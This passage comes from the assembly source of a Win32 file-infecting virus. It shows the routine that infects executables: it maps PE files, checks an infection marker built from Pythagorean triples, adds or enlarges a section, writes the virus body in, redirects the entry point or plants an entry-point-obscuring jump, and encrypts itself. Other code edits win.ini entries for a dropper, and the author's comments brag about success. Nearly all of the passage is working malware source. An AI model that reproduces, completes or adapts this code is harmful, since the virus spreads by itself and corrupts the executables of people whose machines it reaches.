lea eax, [ebp+drop] ;If both are present
push eax ;they are left alone.
lea edx, [ebp+r_n] ;
push edx ;
call [ebp+_lstrcat] ;
;
lea eax, [ebp+W32FD] ;locate ramm.exe
push eax ;
push edx ;
call [ebp+_FindFirstFileA] ;
mov [ebp+ok], 0 ;
cmp eax, INVALID_HANDLE_VALUE ;
je no_file ;
mov [ebp+ok], 1 ;
;
no_file: ;
lea edx, [ebp+r_n] ;save name
lea eax, [ebp+droppername] ;
push edx ;
push eax ;
call [ebp+_lstrcpy] ;
;
mov byte ptr [edx+edi], 0 ;
lea eax, [ebp+winini] ;
push eax ;
push edx ;
call [ebp+_lstrcat] ;
;open win.ini
push 0 ;
push 0 ;
push OPEN_EXISTING ;
push 0 ;
push 0 ;
push GENERIC_READ + GENERIC_WRITE ;
push edx ;
call [ebp+_CreateFileA] ;
inc eax ;
jz no_need ;
dec eax ;
mov [ebp+hfile], eax ;
;
push 0 ;
push eax ;
call [ebp+_GetFileSize] ;
mov [ebp+filesize], eax ;
;
push 0 ;
push [ebp+filesize] ;
push 0 ;
push PAGE_READWRITE ;
push 0 ;
push [ebp+hfile] ;
call [ebp+_CreateFileMappingA] ;
;
or eax, eax ;
jz no_need_1 ;
mov [ebp+hmap], eax ;
;
push [ebp+filesize] ;
push 0 ;
push 0 ;
push FILE_MAP_ALL_ACCESS ;
push [ebp+hmap] ;
call [ebp+_MapViewOfFile] ;
;
or eax, eax ;
jz no_need_2 ;
mov [ebp+haddress], eax ;
;
mov ecx, [ebp+filesize] ;
sub ecx, 8 ;
;
src_loop: ;
cmp dword ptr [eax] , 'mmar' ;search "ramm.exe"
jne no_ramm ;
cmp dword ptr [eax+4], 'exe.' ;
je found_ramm ;
;
no_ramm: ;
inc eax ;
loop src_loop ;
;
lea eax, [ebp+droppername] ;
push eax ;
call [ebp+_DeleteFileA] ;
jmp kill_memo ;
;
found_ramm: ;
cmp [ebp+ok], 0 ;
jne kill_memo ;
;
mov edx, eax ;
add edx, 8 ;
;
rep_for_run: ;
cmp [eax], "=nur" ;search backwards for
je finished_searching ;"run="
dec eax ;
cmp eax, [ebp+haddress] ;
je kill_memo ;
jmp rep_for_run ;
;
finished_searching: ;
mov edi, eax ;put blanks over it!
mov al, " " ;
mov ecx, edx ;
sub ecx, edi ;
rep stosb ;
;
kill_memo: ;
push [ebp+haddress] ;close win.ini!
call [ebp+_UnmapViewOfFile] ;
;
no_need_2: ;
push [ebp+hmap] ;
call [ebp+_CloseHandle] ;
;
no_need_1: ;
push [ebp+hfile] ;
call [ebp+_CloseHandle] ;
;
no_need: ;
popa ;
ret ;
smash_dropper endp ;
;
windirs db "\Windows", 0 ;
db "\WinNT" , 0 ;
db "\Win" , 0 ;
db "\Win95" , 0 ;
db "\Win98" , 0 ;
db 0fh ;
;
winini db "\Win.ini" , 0 ;
drop db "\ramm.exe", 0 ;
cmd db "run" , 0 ;
;
myname db 260 dup(0) ;
droppername db 260 dup(0) ;
winininame db 260 dup(0) ;
RemoteInfection endp ;
;
done_net: ;
IF THREAD6SEH ;
jmp restore_thread6_seh ;host
;
Thread6Exception: ;if we had an error we
mov esp, [esp+8] ;must restore the ESP
call DeltaRecover6 ;
DeltaRecover6: ;
pop ebp ;
sub ebp, offset DeltaRecover6 ;
;
restore_thread6_seh: ;
pop dword ptr fs:[0] ;and restore the SEH
add esp, 4 ;
ENDIF ;
;
ENDIF ;
;
exit_netcrawl: ;
push 0 ;
push 5 ;
push [ebp+hsemaphore] ;
call [ebp+_ReleaseSemaphore] ;
call [ebp+_ExitThread], 0 ;
Thread_6_StartAddress endp ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
OurThreads dd offset Thread_1_StartAddress ;
dd offset Thread_2_StartAddress ;
dd offset Thread_3_StartAddress ;
dd offset Thread_4_StartAddress ;
dd offset Thread_5_StartAddress ;
dd offset Thread_6_StartAddress ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ReturnToHost: ;
jmp restore_seh ;host
;
ExceptionExit: ;if we had an error we
IF DEBUG ;
call MessageBoxA, 0, offset err, offset err, 0
jmp go_over ;
err db 'SEH Error!', 0 ;
go_over: ;
ELSE ;
ENDIF ;
mov esp, [esp+8] ;must restore the ESP
;
restore_seh: ;
pop dword ptr fs:[0] ;and restore the SEH
add esp, 4 ;returning to the host...
;
db 0BDh ;restore delta handle
delta dd 0 ;
;
cmp [ebp+firstgen], 1 ;
je generation0_exit ;
;
IF APIHOOK ;if api hook is on we
apicheck: ;cannot return to host
cmp [ebp+apihookfinish], 1 ;until the hooking is
jne apicheck ;done...
ENDIF ;
;
mov eax, 12345678h ;mov eax, oledip
oldeip equ $-4 ;
add eax, 12345678h ;add eax, imagebase
adjust equ $-4 ;
mov dword ptr [ebp+savedeax], eax ;
popa ;
;
push 12345678h ;
savedeax equ $-4 ;
ret ;
;
generation0_exit: ;
push 0 ;
call [ebp+_ExitProcess] ;
;
InfectFile proc ;
pusha ;save regs
mov [ebp+flag], 1 ;mark success flag
mov [ebp+filename], edi ;save filename
mov esi, edi ;
call ValidateFile ;
jc failed_infection ;
;
call [ebp+_GetFileAttributesA], edi ;get attributes
mov [ebp+fileattributes], eax ;and save them
call [ebp+_SetFileAttributesA], edi, FILE_ATTRIBUTE_NORMAL; and set
;them normal
call [ebp+_CreateFileA], edi, GENERIC_READ+GENERIC_WRITE, 0, 0,\
OPEN_EXISTING, 0, 0 ;open file
cmp eax, INVALID_HANDLE_VALUE ;
je finished ;
mov [ebp+hfile], eax ;
;
mov [ebp+fileopen], TRUE ;
;
lea ebx, [ebp+filetime1] ;save file time
push ebx ;
add ebx, 8 ;
push ebx ;
add ebx, 8 ;
push ebx ;
call [ebp+_GetFileTime], eax ;
;
call [ebp+_GetFileSize], [ebp+hfile], 0 ;get file size
mov [ebp+filesize], eax ;
add eax, virussize + 1000h ;
mov [ebp+additional], eax ;save additional length
;
call [ebp+_CreateFileMappingA], [ebp+hfile], 0, PAGE_READWRITE,\
0, [ebp+additional], 0
or eax, eax ;create mapping object
je close_file ;
;
mov [ebp+hmap], eax ;
;
call [ebp+_MapViewOfFile], [ebp+hmap], FILE_MAP_ALL_ACCESS, 0, 0,\
[ebp+additional] ;map file!
or eax, eax ;
je close_map ;
;
mov [ebp+haddress], eax ;save address of mapping
mov esi, eax ;
;
mov ax, word ptr [esi] ;check exe sign
xor ax, 'Úß' ;
cmp ax, 'ZM' xor 'Úß' ;
jne close_address ;
;
call InitCopro ;check infection mark
fild word ptr [esi.MZ_oeminfo] ;this is number a
fild word ptr [esi.MZ_oeminfo] ;
fmul ;
call RestoreCopro ;
add esp, 4 ;
;
mov esi, [esi.MZ_lfanew] ;get pointer to pe header
cmp esi, 1000h ;
ja close_address ;
add esi, [ebp+haddress] ;
;
call [ebp+_IsBadReadPtr], esi, 1000h ;check readability
or eax, eax ;
jnz close_address ;
;
mov [ebp+peheader], esi ;save pe header
;
mov ax, word ptr [esi] ;check if pe file
xor ax, 'õð' ;
cmp ax, 'EP' xor 'õð' ;
jne close_address ;
;
test word ptr [esi.Characteristics], IMAGE_FILE_DLL; be sure it's not
jnz close_address ;a library
;
lea edi, [ebp+pedata] ;
xor eax, eax ;
mov ax, [esi.NumberOfSections] ;save number of sections
stosd ;
mov ax, [esi.SizeOfOptionalHeader] ;save optional header
stosd ;
add esi, IMAGE_FILE_HEADER_SIZE ;get to the optional head.
mov [ebp+optionalheader], esi ;
;
cmp word ptr [esi.OH_MajorImageVersion], 0 ;
je skip_check ;
cmp word ptr [esi.OH_MinorImageVersion], 0 ;
je skip_check ;
call InitCopro ;
fild word ptr [esi.OH_MajorImageVersion] ;this is number b
fild word ptr [esi.OH_MajorImageVersion] ;
fmul ;
fild word ptr [esi.OH_MinorImageVersion] ;this is number c
fild word ptr [esi.OH_MinorImageVersion] ;
fmul ;
fadd ;
fsub ;here is b^2+c^2-a^2
fldz ;is it 0?
fcompp ;compare them
fstsw ax ;get status word
call RestoreCopro ;
add esp, 4 ;
sahf ;load flags with it
jz close_address ;is it already infected?
;
skip_check: ;
cmp [esi.OH_Subsystem], IMAGE_SUBSYSTEM_NATIVE; check if it is not
je close_address ;a driver...
;
mov eax, [esi.OH_AddressOfEntryPoint] ;save entry eip
stosd ;
mov eax, [esi.OH_ImageBase] ;imagebase
stosd ;
mov eax, [esi.OH_SectionAlignment] ;section align
stosd ;
mov eax, [esi.OH_FileAlignment] ;file align
stosd ;
mov eax, [esi.OH_SizeOfImage] ;size of image
stosd ;
mov eax, [esi.OH_SizeOfHeaders] ;headers size
stosd ;
mov eax, [esi.OH_CheckSum] ;and checksum
stosd ;
mov eax, [esi.OH_NumberOfRvaAndSizes] ;save number of dirs..
stosd ;
mov eax, [esi.OH_BaseOfCode] ;and base of code
stosd ;
;
add esi, [ebp+sizeofoptionalheader] ;mov to first sec header
mov ecx, [ebp+numberofsections] ;
;
scan_for_code: ;
mov eax, [esi.SH_VirtualAddress] ;get the RVA
cmp eax, [ebp+baseofcode] ;is it the code section?
jae found_code_section ;
add esi, IMAGE_SIZEOF_SECTION_HEADER ;no... get next...
loop scan_for_code ;
jmp close_address ;
;
found_code_section: ;
mov [ebp+codesectionheader], esi ;save code section ptr
mov [ebp+codesectionrva], eax ;
mov ebx, [esi.SH_PointerToRawData] ;
mov [ebp+codesectionraw], ebx ;
mov ebx, [esi.SH_VirtualSize] ;
mov eax, [esi.SH_SizeOfRawData] ;
call choose_smaller ;
mov [ebp+codesectionsize], ebx ;
;
;
IF APIHOOK ;
pusha ;
mov esi, [ebp+optionalheader] ;
mov ecx, [ebp+numberofsections] ;
mov ebx, [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress]
or ebx, ebx ;
jz over_import ;
add esi, [ebp+sizeofoptionalheader] ;
;
scan_for_imports: ;
mov eax, [esi.SH_VirtualAddress] ;get the RVA
cmp eax, ebx ;is it the import section?
je found_import ;
jb maybe_found ;
jmp search_next_import ;
;
maybe_found: ;
add eax, [esi.SH_VirtualSize] ;
cmp eax, ebx ;
ja found_import ;
;
search_next_import: ;
add esi, IMAGE_SIZEOF_SECTION_HEADER ;no... get next...
loop scan_for_imports ;
jmp no_import_found ;
;
found_import: ;enable write on the
or [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE; imports, credits to
mov [ebp+no_imports], TRUE ;Bumblebee for this.
jmp over_import ;
;
no_import_found: ;
mov [ebp+no_imports], FALSE ;
;
over_import: ;
popa ;
ENDIF ;
call locate_last_section_stuff ;locate stuff in the last
;section
call add_new_section ;add a new section
jnc ok_go_with_it ;
;
call increase_last_section ;
mov edi, [ebp+finaldestination] ;
jmp do_virus_movement ;
;
ok_go_with_it: ;
mov eax, [esi.SH_SizeOfRawData] ;get the 2 sizes and be
cmp eax, virussize ;sure we are smaller then
jb set_method_1 ;both of them...
mov eax, [esi.SH_VirtualSize] ;
cmp eax, virussize ;
jb set_method_1 ;
;
size_is_ok: ;
cmp eax, virussize ;do we fit into the code
jb set_method_1 ;section?
;
mov [ebp+method], METHOD_MOVE_CODE ;if yes, move the code...
;
mov ecx, 5 ;
;
establish_home: ;
mov esi, [ebp+codesectionheader] ;
mov eax, [esi.SH_SizeOfRawData] ;
mov ebx, [esi.SH_VirtualSize] ;
call choose_smaller ;
mov ebx, [esi.SH_PointerToRawData] ;get pointer to data
mov [ebp+codesectionraw], ebx ;save it...
mov esi, ebx ;get a delta difference
IF RANDOMIZE_ENTRY ;
sub eax, virussize ;to place us in and
dec eax ;randomize it...
call brandom32 ;
ELSE ; ;
mov eax, 1 ;
ENDIF ;
mov [ebp+codedelta], eax ;from where we start?
;
call check_intersection ;are we intersecting with
jnc continue_process ;other directories?
loop establish_home ;if yes, try again!
;
jmp set_method_1 ;if cannot find place move
;at end!
;
continue_process: ;
add esi, eax ;
add esi, [ebp+haddress] ;
push esi ;
mov edi, [ebp+last_section_destination] ;save our destination...
add edi, [ebp+haddress] ;
call [ebp+_IsBadWritePtr], edi, virussize ;can we write?
or eax, eax ;
jnz close_address ;
call move_virus_size ;move the original code
pop edi ;from here...
mov [ebp+finaldestination], edi ;save the destination of
;code
do_virus_movement: ;
cmp [ebp+method], METHOD_INCREASE_LAST ;
jne not_increase_last ;
mov eax, [ebp+last_section_destination] ;
sub eax, [ebp+lastsectionraw] ;
add eax, [ebp+lastsectionrva] ;
jmp set_it ;
;
not_increase_last: ;
cmp [ebp+method], METHOD_APPEND_AT_END ;
jne not_at_end ;
mov eax, [ebp+lastsectionrva] ;
jmp set_it ;
;
not_at_end: ;
mov eax, [ebp+codesectionrva] ;
add eax, [ebp+codedelta] ;
;
set_it: ;
add eax, (ourpoint-start)-1 ;
mov dword ptr [ebp+ourpoint+1], eax ;for imagebase getter
;
mov eax, [ebp+last_section_destination] ;here is a raw ptr in the
sub eax, [ebp+lastsectionraw] ;last section. Substract
add eax, [ebp+lastsectionrva] ;raw pointer and add virt
mov dword ptr [ebp+codesource], eax ;pointer to get a RVA
mov eax, [ebp+finaldestination] ;same crap on destination
sub eax, [ebp+haddress] ;
sub eax, [ebp+codesectionraw] ;
add eax, [ebp+codesectionrva] ;
mov dword ptr [ebp+codedestin], eax ;
;
mov [ebp+copying], 1 ;syncronization
mov ecx, 100d ;
loop $ ;
;
lea esi, [ebp+start] ;move virus now in the
call move_virus_size ;code place...
mov [ebp+copying], 0 ;
;
mov eax, [ebp+addressofentrypoint] ;save old eip
mov edi, [ebp+finaldestination] ;
mov [edi+offset oldeip-offset start], eax ;
;
mov esi, [ebp+codesectionheader] ;
or [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE+IMAGE_SCN_MEM_READ
jmp continue ;make code writable
;
set_method_1: ;
mov [ebp+method], METHOD_APPEND_AT_END ;here we append the virus
;at the end...
mov edi, [ebp+last_section_destination] ;
add edi, [ebp+haddress] ;
mov [ebp+finaldestination], edi ;
call [ebp+_IsBadWritePtr], edi, virussize ;can we write?
or eax, eax ;
jnz close_address ;
jmp do_virus_movement ;
;
continue: ;
call check_not ;check lists
mov eax, [ebp+finaldestination] ;
add eax, (offset firstgen-offset start) ;zero the first gen mark
mov dword ptr [eax], 0 ;
;
mov esi, [ebp+optionalheader] ;now align size of image
mov eax, [ebp+sizeofimage] ;to the section alignment
add eax, [ebp+newsize] ;
cmp eax, [ebp+totalsizes] ;
jb sizeofimage_ok ;
;
call align_to_sectionalign ;
mov [esi.OH_SizeOfImage], eax ;
;
sizeofimage_ok: ;
mov eax, [ebp+filesize] ;align the filesize to
add eax, [ebp+newsize] ;the file alignment
call align_to_filealign ;
mov [ebp+filesize], eax ;
;
cmp [ebp+method], METHOD_APPEND_AT_END ;
je alternate ;
cmp [ebp+method], METHOD_INCREASE_LAST ;
je alternate2 ;
mov eax, [ebp+finaldestination] ;get our final destination
sub eax, [ebp+haddress] ;substract current map
sub eax, [ebp+codesectionraw] ;
add eax, [ebp+codesectionrva] ;
jmp set_eip ;
;
alternate2: ;
pusha ;
mov esi, [ebp+lastsectionheader] ;
mov eax, [esi.SH_VirtualSize] ;
xchg eax, [esi.SH_SizeOfRawData] ;
mov [esi.SH_VirtualSize], eax ;
popa ;
;
mov eax, [ebp+last_section_destination] ;
sub eax, [ebp+lastsectionraw] ;
add eax, [ebp+lastsectionrva] ;
call EPO_Routine ;
jnc set_epo ;
jmp set_eip ;
;
alternate: ;
mov eax, [ebp+lastsectionrva] ;
call EPO_Routine ;
jnc set_epo ;
jmp set_eip ;
;
set_epo: ;
pusha ;
mov ebx, [ebp+addressofentrypoint] ;
mov edx, ebx ;
add ebx, [ebp+codesectionraw] ;
sub ebx, [ebp+codesectionrva] ;
add ebx, [ebp+haddress] ;
sub eax, edx ;
sub eax, 5 ;
mov edx, dword ptr [ebx] ;
mov ecx, dword ptr [ebx+4] ;
mov byte ptr [ebx], 0e9h ;
mov dword ptr [ebx+1], eax ;
mov eax, [ebp+finaldestination] ;
add eax, (offset saved_code-offset start) ;
mov [eax], edx ;
mov [eax+4], ecx ;
popa ;
jmp mark_infection ;
;
set_eip: ;
mov [esi.OH_AddressOfEntryPoint], eax ;address and save eip RVA
;
mark_infection: ;
mov eax, 100d ;get random pythagora's
call brandom32 ;numbers roots
mov word ptr [ebp+m], ax ;m
mov eax, 100d ;
call brandom32 ;
mov word ptr [ebp+n], ax ;n
;
call InitCopro ;
fild word ptr [ebp+n] ;load the root numbers
fild word ptr [ebp+m] ;
fild word ptr [ebp+n] ;
fild word ptr [ebp+m] ;
fmul st, st(2) ;M*M
fincstp ;
fmul st, st(2) ;N*N
fdecstp ;
fadd st, st(1) ;M*M + N*N
fist word ptr [ebp+a] ;store it to a
fsub st, st(1) ;
fsub st, st(1) ;
fabs ;|M*M - N*N|
fist word ptr [ebp+c] ;store it to c
fincstp ;
fincstp ;
fmul ;
fimul word ptr [ebp+two] ;2*M*N
fist word ptr [ebp+b] ;store it to b
call RestoreCopro ;Now a^2 = b^2 + c^2
add esp, 4 ;
;
push esi ;mark infection!
mov esi, [ebp+haddress] ;
mov ax, [ebp+a] ;
mov word ptr [esi.MZ_oeminfo], ax ;
mov ax, [ebp+b] ;
pop esi ;
mov word ptr [esi.OH_MajorImageVersion], ax ;
mov ax, [ebp+c] ;
mov word ptr [esi.OH_MinorImageVersion], ax ;
;
mov eax, [ebp+sizeofheaders] ;rearrange size of headers
mov [esi.OH_SizeOfHeaders], eax ;
;
mov esi, [ebp+peheader] ;
;
cmp [ebp+method], METHOD_INCREASE_LAST ;
je no_need_to_increase ;
inc word ptr [esi.NumberOfSections] ;
;
no_need_to_increase: ;
IF CHECKSUM ;
mov eax, [esi.OH_CheckSum] ;
or eax, eax ;
jz no_checksum ;
;
mov ebx, [ebp+checksumfile] ;
or ebx, ebx ;
jz no_checksum ;
;
mov esi, [ebp+optionalheader] ;
mov eax, [esi.OH_CheckSum] ;
or eax, eax ;
jz no_checksum ;
lea eax, [esi.OH_CheckSum] ;
push eax ;
lea eax, [ebp+offset headersum] ;
push eax ;
push [ebp+filesize] ;
push [ebp+haddress] ;
call ebx ;
ELSE ;
mov esi, [ebp+optionalheader] ;
xor eax, eax ;
mov [esi.OH_CheckSum], eax ;
ENDIF ;
;
no_checksum: ;
mov esi, [ebp+finaldestination] ;our internal encryptor
add esi, (EncryptedArea - start) ;
mov edi, esi ;
mov ecx, (end2-EncryptedArea) ;
;
EncryptLoop: ;
lodsb ;
mov ebx, ecx ;
inc bl ;
jp _parity ;
rol al, cl ;
jmp do_encrypt ;
;
_parity: ;
ror al, cl ;
;
do_encrypt: ;
stosb ;
loop EncryptLoop ;
;
jmp infection_succesfull ;success!!! ;-)
;
m dw 0 ;
n dw 0 ;
a dw 0 ;
b dw 0 ;
c dw 0 ;
two dw 2 ;
;
move_virus_size: ;this moves as many bytes
mov ecx, virussize ;as the virus size is..
rep movsb ;
ret ;
;

;I found out today a very important thing... Some of the pe files inside
;the windows directory have a certain particularity that requires special
;care... That is some of the directories present in the DataDirectory have
;a RVA that falls inside the code section. This is the case for the
;Import Address Table (IAT), which for some file occurs at the beginning of
;the code section. If the virus places itself over that area, than, first of
;all the running of the original file will be faulted, and second of all, a
;part of the virus will be overwritten by the system at load and an error
;will occure for sure. In this situation the virus will check if any of
;the directories intersects it and if so, will try to get another random
;place. If it is not possible, the virus will go at end.
check_intersection: ;
pusha ;save registers!
mov edi, esi ;
add edi, eax ;
sub edi, [ebp+codesectionraw] ;
add edi, [ebp+codesectionrva] ;
;
mov esi, [ebp+optionalheader] ;
lea ebx, [esi.OH_DataDirectory] ;
push ecx ;
mov ecx, [ebp+numberofrva] ;how many directories?
mov edx, 0 ;index in directories.
;
check_directories: ;
pusha ;save all again!
mov esi, [ebx.edx.DD_VirtualAddress] ; x = X (esi)
or esi, esi ;
jz ok_next_dir ;
mov eax, esi ; x+y = Y (eax)
add eax, [ebx.edx.DD_Size] ;
;
mov ebx, edi ; a = A (edi)
add ebx, virussize ; a+b = B (ebx)
;
;We have to check if the interval (X,Y) intersects interval (A,B)
;
cmp esi, edi ; X<A?
jbe YYY1 ;
ja XXX1 ;
;
;
YYY1: ;
cmp eax, edi ;Y<A?
jbe ok_next_dir ;
jmp Intersect ;
;
XXX1: ;
cmp esi, ebx ;X>B?
jb Intersect ;
;
ok_next_dir: ;
popa ;
add edx, 8 ;
loop check_directories ;
pop ecx ;
popa ;
clc ;
ret ;
;
Intersect: ;
popa ;
pop ecx ;
popa ;
stc ;
ret ;
;
locate_last_section_stuff: ;
pusha ;
;
mov esi, [ebp+optionalheader] ;
add esi, [ebp+sizeofoptionalheader] ;
mov eax, [ebp+numberofsections] ;get number of sections
;
push eax esi ;first calculate the
mov ecx, eax ;
mov eax, [esi.SH_PointerToRawData] ;
mov [ebp+lowest_section_raw], eax ;lowest pointer to raw
xor edx, edx ;
;
compare_rva: ;
add edx, [esi.SH_VirtualSize] ;
mov eax, [esi.SH_PointerToRawData] ;
cmp [ebp+lowest_section_raw], eax ;
jbe next_compare ;
xchg [ebp+lowest_section_raw], eax ;
;
next_compare: ;
add esi, IMAGE_SIZEOF_SECTION_HEADER ;
loop compare_rva ;
;
; add edx, [ebp+sizeofheaders] ;useless crap...
; mov [ebp+totalsizes], edx ;
;
pop esi eax ;
;
dec eax ;go for last
mov ecx, IMAGE_SIZEOF_SECTION_HEADER ;multiply with the size
xor edx, edx ;of a section
mul ecx ;
add esi, eax ;
mov [ebp+lastsectionheader], esi ;save pointer to header
mov eax, [esi.SH_VirtualAddress] ;
mov [ebp+lastsectionrva], eax ;
mov eax, [esi.SH_PointerToRawData] ;
mov [ebp+lastsectionraw], eax ;
mov eax, [esi.SH_SizeOfRawData] ;choose the smaller of
mov ebx, [esi.SH_VirtualSize] ;the sizes

; Major fix-up!! Many PE files mark in the section header a value which is
; much smaller than the real size of the data. The real value gets calculated
; somehow by the loader, so if we place at the end of one of the sizes we
; will probably overwrite data, so I will simply place it at the end of
; the file, even if this means increasing the infected victim.
;
; if you want to enable the placing in the last section cavity unmark the
; following lines:
;
; call choose_smaller ;
; or eax, eax ;if one is zero, try the
; jnz last_size_ok ;other; if both are 0...
; xchg eax, ebx ;
; or eax, eax ;
; jnz last_size_ok ;
;
consider_eof: ;...consider the EOF as
mov eax, [ebp+filesize] ;the last section dest.
jmp save_it ;
;
last_size_ok: ;if the size is ok, then
mov ebx, [esi.SH_PointerToRawData] ;retrieve the pointer to
or ebx, ebx ;raw data. If it is 0
jz consider_eof ;take eof, otherwise add
add ebx, eax ;it to obtain the pos.
xchg ebx, eax ;
cmp eax, [ebp+filesize] ;if it exceedes the file
ja consider_eof ;size also consider EOF.
;
save_it: ;
mov [ebp+last_section_destination], eax ;save last section pointer
mov eax, [esi.SH_VirtualAddress] ;
mov esi, [ebp+optionalheader] ;
mov ebx, [esi.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
cmp eax, ebx ;
jne not_relocations ;
mov [ebp+situation], RELOCATIONS_LAST ;
jmp done_last ;
;
not_relocations: ;
mov ebx, [esi.OH_DataDirectory.DE_Resource.DD_VirtualAddress]
cmp eax, ebx ;
jne no_resources ;
mov [ebp+situation], RESOURCES_LAST ;
jmp done_last ;
;
no_resources: ;
mov [ebp+situation], WE_ARE_LAST ;
;
done_last: ;
popa ;
ret ;
;
add_new_section: ;
pusha ;save all
mov eax, 123h ;choose some random
call brandom32 ;increasement
add eax, virussize ;
mov [ebp+newraw], eax ;save new raw
call align_to_filealign ;
mov [ebp+newsize], eax ;save new aligned size
;
mov esi, [ebp+optionalheader] ;
mov ecx, [ebp+numberofrva] ;
add esi, [ebp+sizeofoptionalheader] ;
sub esi, 8 ;
mov eax, 0EEEEEEEEh ;
;
choose_smallest_directory_va: ;
mov ebx, [esi] ;
or ebx, ebx ;
jz go_to_next ;
cmp eax, ebx ;
ja found_smaller_va ;
jmp go_to_next ;
;
found_smaller_va: ;
mov eax, ebx ;
;
go_to_next: ;
sub esi, 8 ;
loop choose_smallest_directory_va ;
;
mov [ebp+smallest_dir_va], eax ;
sub eax, IMAGE_SIZEOF_SECTION_HEADER ;
add eax, [ebp+haddress] ;
;
mov esi, [ebp+lastsectionheader] ;go to last section header
mov ecx, IMAGE_SIZEOF_SECTION_HEADER ;
;
mov ebx, esi ;
add ebx, ecx ;
add ebx, ecx ;
cmp ebx, eax ;
ja its_not_ok ;
;
mov edi, esi ;
add edi, ecx ;
mov eax, edi ;can we insert a new
sub eax, [ebp+haddress] ;section header?
add eax, IMAGE_SIZEOF_SECTION_HEADER ;
cmp eax, [ebp+lowest_section_raw] ;
jb its_ok ;
;
its_not_ok: ;
popa ;
stc ;
ret ;
;
its_ok: ;
rep movsb ;and make a copy of it
;
mov eax, [ebp+sizeofheaders] ;
sub edi, [ebp+haddress] ;
cmp edi, eax ;
jbe ok_header_size ;
add eax, IMAGE_SIZEOF_SECTION_HEADER ;
call align_to_filealign ;
mov [ebp+sizeofheaders], eax ;
;
ok_header_size: ;
cmp [ebp+situation], WE_ARE_LAST ;are we at end?
jne not_last ;
;
mov esi, [ebp+lastsectionheader] ;if yes, then we
mov ebx, [esi.SH_VirtualAddress] ;rearrange the last header
mov eax, [ebp+last_section_destination] ;
sub eax, [esi.SH_PointerToRawData] ;
call align_to_filealign ;
add ebx, eax ;
add esi, IMAGE_SIZEOF_SECTION_HEADER ;
mov [esi.SH_VirtualAddress], eax ;
call set_our_sizes ;and set our sizes
jmp done_adding ;
;
not_last: ;if we are not last, we
mov eax, [ebp+filesize] ;
sub eax, [esi.SH_PointerToRawData] ;must rearrange both
mov ecx, eax ;headers
mov esi, [esi.SH_PointerToRawData] ;
mov [ebp+last_section_destination], esi ;
add esi, [ebp+haddress] ;
add esi, eax ;
mov edi, esi ;
add edi, [ebp+newsize] ;
std ;
rep movsb ;and move the last section
cld ;below our new section
mov esi, [ebp+lastsectionheader] ;
call set_our_sizes ;
mov ebx, [esi.SH_VirtualAddress] ;
add ebx, [esi.SH_SizeOfRawData] ;
add esi, IMAGE_SIZEOF_SECTION_HEADER ;
mov eax, [ebp+newsize] ;
add [esi.SH_PointerToRawData], eax ;
mov eax, ebx ;
call align_to_sectionalign ;
mov [esi.SH_VirtualAddress], eax ;
mov esi, [ebp+optionalheader] ;
;
cmp [ebp+situation], RESOURCES_LAST ;check if we must fix
jne then_relocs ;resources
;
mov [esi.OH_DataDirectory.DE_Resource.DD_VirtualAddress], ebx
call RealignResources ;
jmp done_adding ;
;
then_relocs: ;
mov [esi.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress], ebx
call RealignRelocs ;
jmp done_adding ;
;
set_our_sizes: ;
call set_our_name ;
mov eax, [ebp+newraw] ;set our new raw size
mov [esi.SH_VirtualSize], eax ;and our virtual size
call align_to_filealign ;
mov [esi.SH_SizeOfRawData], eax ;
mov [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE+IMAGE_SCN_MEM_READ+\
IMAGE_SCN_CNT_INITIALIZED_DATA
ret ;
;
done_adding: ;
popa ;
clc ;
ret ;
;
set_our_name: ;
pusha ;
push esi ;
mov esi, [ebp+optionalheader] ;
add esi, [ebp+sizeofoptionalheader] ;
mov ecx, [ebp+numberofsections] ;
mov ebx, section_names_number ;
;
compare_names: ;
push ecx ;
lea edi, [ebp+section_names] ;
mov ecx, section_names_number ;
;
compare: ;
inc edi ;
push ecx esi edi ;
mov ecx, 8 ;
rep cmpsb ;
je mark_it ;
;
next_name: ;
pop edi esi ecx ;
add edi, 8 ;
loop compare ;
jmp next_section ;
;
mark_it: ;
mov byte ptr [edi-9], 0 ;
dec ebx ;
pop edi esi ecx ;
jmp next_section ;
;
next_section: ;
add esi, IMAGE_SIZEOF_SECTION_HEADER ;
pop ecx ;
loop compare_names ;
;
or ebx, ebx ;
jz choose_safe ;
mov eax, ebx ;
call brandom32 ;
lea edi, [ebp+section_names] ;
sub edi, 9 ;
mov ecx, eax ;
or ecx, ecx ;
jnz choose_name ;
add edi, 9 ;
jmp done_choosing ;
;
choose_name: ;
add edi, 9 ;
cmp byte ptr [edi], 1 ;
je looping ;
inc ecx ;don't count it
;
looping: ;
loop choose_name ;
;
done_choosing: ;
inc edi ;
pop esi ;
xchg esi, edi ;
mov ecx, 8 ;
rep movsb ;
popa ;
ret ;
;
choose_safe: ;
lea edi, [ebp+safe] ;
jmp done_choosing ;
;
section_names: ;our new section not so
db 1, "DATA" , 0, 0, 0, 0 ;random name...
db 1, ".data" , 0, 0, 0 ;
db 1, ".idata", 0, 0 ;
db 1, ".udata", 0, 0 ;
db 1, "BSS" , 0, 0, 0, 0, 0 ;
db 1, ".rdata", 0, 0 ;
db 1, ".sdata", 0, 0 ;
db 1, ".edata", 0, 0 ;
section_names_number = ($-offset section_names)/9 ;
safe db 0,0,0,0,0,0,0,0 ;
;
increase_last_section: ;
mov [ebp+method], METHOD_INCREASE_LAST ;
mov esi, [ebp+lastsectionheader] ;
mov eax, [ebp+newraw] ;
add [esi.SH_SizeOfRawData], eax ;
mov eax, [ebp+newsize] ;
add [esi.SH_VirtualSize], eax ;
mov eax, [ebp+last_section_destination] ;
add eax, [ebp+haddress] ;
mov [ebp+finaldestination], eax ;
or [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE+IMAGE_SCN_MEM_READ
ret ;
;
CalculateDelta:
